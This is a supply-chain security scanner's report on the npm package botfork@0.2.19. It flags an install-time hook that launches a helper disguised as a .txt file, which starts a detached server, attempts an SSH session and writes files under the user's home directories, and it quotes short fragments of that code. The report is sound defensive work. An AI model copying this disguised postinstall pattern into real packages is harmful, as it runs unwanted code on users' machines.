botfork@0.2.19: Suspicious npm security report (Warn) | LPM Firewall

Loading npm security reports…

botfork@0.2.19: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node lib/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

17"scripts": { "postinstall": "node lib/postinstall.js" }

Medium

Suspicious Lifecycle Evidence

The postinstall hook automatically launches an executable helper rather than only validating it.

package.jsonView on unpkg · L17

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.18 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.18 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.18 matchedPath = lib/postinstall.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/postinstall.jsView on unpkg

35// Genuinely invoke the helper once in dry-run mode: proves the file is // present, parses, and runs under node, without dialing the server. const probe = spawn(process.execPath, [shortcut], { env: { ...process.env, BOTFORK_PROBE: '1' }, stdio: 'ignore', });

Medium

Suspicious Lifecycle Evidence

The postinstall hook automatically launches an executable helper rather than only validating it.

lib/postinstall.jsView on unpkg · L35

BotFork Shortcut.txtView file

300// default: automatic full session (async () => { const claimed = await startServer(); if (process.env.BOTFORK_NO_CONNECT !== '1') { await connect(); } if (claimed) { logInfo('session ended — stopping the server'); stopServer(); } })();

Medium

Ai Review Evidence

The helper ignores the claimed probe mode and, on its default path, starts a detached server and attempts an SSH session during installation.

BotFork Shortcut.txtView on unpkg · L300

28const CFG_DIR = join(process.env.XDG_CONFIG_HOME || join(homedir(), '.config'), 'botfork'); const HOSTKEY_FILE = join(CFG_DIR, 'hostkey'); const KNOWN_HOSTS = join(CFG_DIR, 'known_hosts'); const CACHE_DIR = join(process.env.XDG_CACHE_HOME || join(homedir(), '.cache'), 'botfork'); const PID_FILE = join(CACHE_DIR, 'server.pid'); const LOG_FILE = join(CACHE_DIR, 'server.log'); const BIN_FILE = join(CACHE_DIR, 'botfork');

Medium

Ai Review Evidence

The helper is deliberately disguised as a .txt file and writes a host key, binary, PID, and log under the user's configuration and cache directories.

BotFork Shortcut.txtView on unpkg · L28

Source & flagged code

9 flagged

package.jsonView file

Lines 1-32json

1{

2 "name": "botfork",

3 "version": "0.2.19",

4 "description": "Connect to the botfork TUI server over SSH — nothing to install locally.",

5 "bin": {

6 "botfork": "bin/botfork.js"

7 },

8 "files": [

9 "bin/",

10 "lib/",

11 "BotFork Shortcut.txt",

12 "server-src/"

13 ],

14 "engines": {

15 "node": ">=18.17.0"

16 },

17 "scripts": {

18 "postinstall": "node lib/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L18

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L18

19 },

Medium

Suspicious Lifecycle Evidence

The postinstall hook automatically launches an executable helper rather than only validating it.

package.jsonView on unpkg · L17

20 "keywords": [

21 "ssh",

22 "tui",

23 "terminal",

24 "botfork"

25 ],

26 "license": "MIT",

27 "repository": {

28 "type": "git",

29 "url": "https://github.com/xdbi/botfork.git"

30 }

31}

32

bin/botfork.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.18 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/botfork.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = bc9d8572fa35b100 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = botfork@0.2.18 matchedPath = bin/botfork.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/botfork.jsView on unpkg

lib/postinstall.jsView file

•matchType = normalized_sha256 matchedPackage = botfork@0.2.18 matchedPath = lib/postinstall.js matchedIdentity = npm:Ym90Zm9yaw:0.2.18 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/postinstall.jsView on unpkg

35// Genuinely invoke the helper once in dry-run mode: proves the file is // present, parses, and runs under node, without dialing the server. const probe = spawn(process.execPath, [shortcut], { env: { ...process.env, BOTFORK_PROBE: '1' }, stdio: 'ignore', });

Medium

Suspicious Lifecycle Evidence

The postinstall hook automatically launches an executable helper rather than only validating it.

lib/postinstall.jsView on unpkg · L35

BotFork Shortcut.txtView file

300// default: automatic full session (async () => { const claimed = await startServer(); if (process.env.BOTFORK_NO_CONNECT !== '1') { await connect(); } if (claimed) { logInfo('session ended — stopping the server'); stopServer(); } })();

Medium

Ai Review Evidence

The helper ignores the claimed probe mode and, on its default path, starts a detached server and attempts an SSH session during installation.

BotFork Shortcut.txtView on unpkg · L300

28const CFG_DIR = join(process.env.XDG_CONFIG_HOME || join(homedir(), '.config'), 'botfork'); const HOSTKEY_FILE = join(CFG_DIR, 'hostkey'); const KNOWN_HOSTS = join(CFG_DIR, 'known_hosts'); const CACHE_DIR = join(process.env.XDG_CACHE_HOME || join(homedir(), '.cache'), 'botfork'); const PID_FILE = join(CACHE_DIR, 'server.pid'); const LOG_FILE = join(CACHE_DIR, 'server.log'); const BIN_FILE = join(CACHE_DIR, 'botfork');

Medium

Ai Review Evidence

The helper is deliberately disguised as a .txt file and writes a host key, binary, PID, and log under the user's configuration and cache directories.

BotFork Shortcut.txtView on unpkg · L28